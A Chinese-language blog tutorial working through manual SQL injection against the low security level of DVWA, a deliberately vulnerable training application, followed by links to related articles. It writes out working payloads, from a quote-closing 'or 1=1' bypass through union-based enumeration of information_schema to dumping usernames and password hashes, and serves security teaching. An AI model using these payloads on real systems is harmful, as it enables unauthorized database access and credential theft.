DVWA系列之2 low级别SQL注入
将Security level设为on,在左侧列表中选择“SQL Injection”,然后在右侧的“User ID”文本框中输入不同的数字就会显示相应的用户信息。
我们首先需要判断这里所传输的参数是文本型还是数字型,分别输入3和1+2,观察它们显示的结果并不一致,因而就判断出参数类型是文本型。
点击页面右下角的“View Source”可以查看源代码,其中最重要的是如下图所示的两行语句:
第一行是以GET方式获取用户通过id参数传来的值并赋值给变量$id。
第二行是将select语句的查询结果赋值给变量$getid,select语句的作用是从users表中查找first_name和last_name两个字段的值,条件是user_id字段的值与用户输入的值相符。
这里我们在文本框中输入“' or 1=1 #”就可以显示users表中的所有数据:
将我们输入的语句代入源码中:
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #'"; |
对于文本型的注入,主要就应考虑引号闭合的问题。#是MySQL中的注释符,它把之后的内容都给禁用了。
下面我们练习一下之前的手工MySQL注入流程。
首先输入“' union select 1,2 #”判断出字段数量为2,并且两个字段都可以代入参数进行查询。
输入“' union select user(),database() #”检测出MySQL版本为5.0,当前数据库名为dvwa。
输入“' union select table_name,2 from information_schema.tables where table_schema='dvwa' #”爆出dvwa数据库中有两个表:guestbook、users,其中我们关心的很明显是users。
输入“' union select column_name,2 from information_schema.columns where table_name='users' #”,爆出users表中的字段。
输入“' union select user,password from users #”,爆出用户名和密码。
对于MySQL手工注入不熟悉的同学可以参考之前的博文:
MySQL基本操作(PHP注入基础)http://yttitan.blog.51cto.com/70821/1570620
手工SQL注入(PHP) http://yttitan.blog.51cto.com/70821/1570821
阅读更多- DVWA系列之2 low级别SQL注入
- 《11招玩转网络安全》之第四招:low级别的DVWA SQL注入
- DVWA系列之22 low级别上传漏洞
- DVWA系列之7 low级别命令执行漏洞
- DVWA系列之3 medium级别SQL注入
- dvwa之sql注入学习(不同级别)
- DVWA系列之4 利用SQLMap进行medium级别注入
- DVWA系列之6 SQL注入漏洞的挖掘与防御
- DVWA系列之23 medium级别上传漏洞分析与利用
- DVWA之low级别SQL Injection
- DVWA系列之9 high级别命令执行漏洞
- DVWA系列之8 medium级别命令执行漏洞
- DVWA系列之9 high级别命令执行漏洞
- DAY5 DVWA之SQL注入演练(low)
- DVWA系列之24 high级别上传漏洞
- [InnoDB系列] - 实例解析Innodb的隔离级别以及锁模式
- DVWA-1.9全级别教程之File Upload
- 日志库EasyLogging++学习系列(2)—— 日志级别
- [VC] 检测AVX系列指令集的支持级别(AVX、AVX2、F16C、FMA、FMA4、XOP)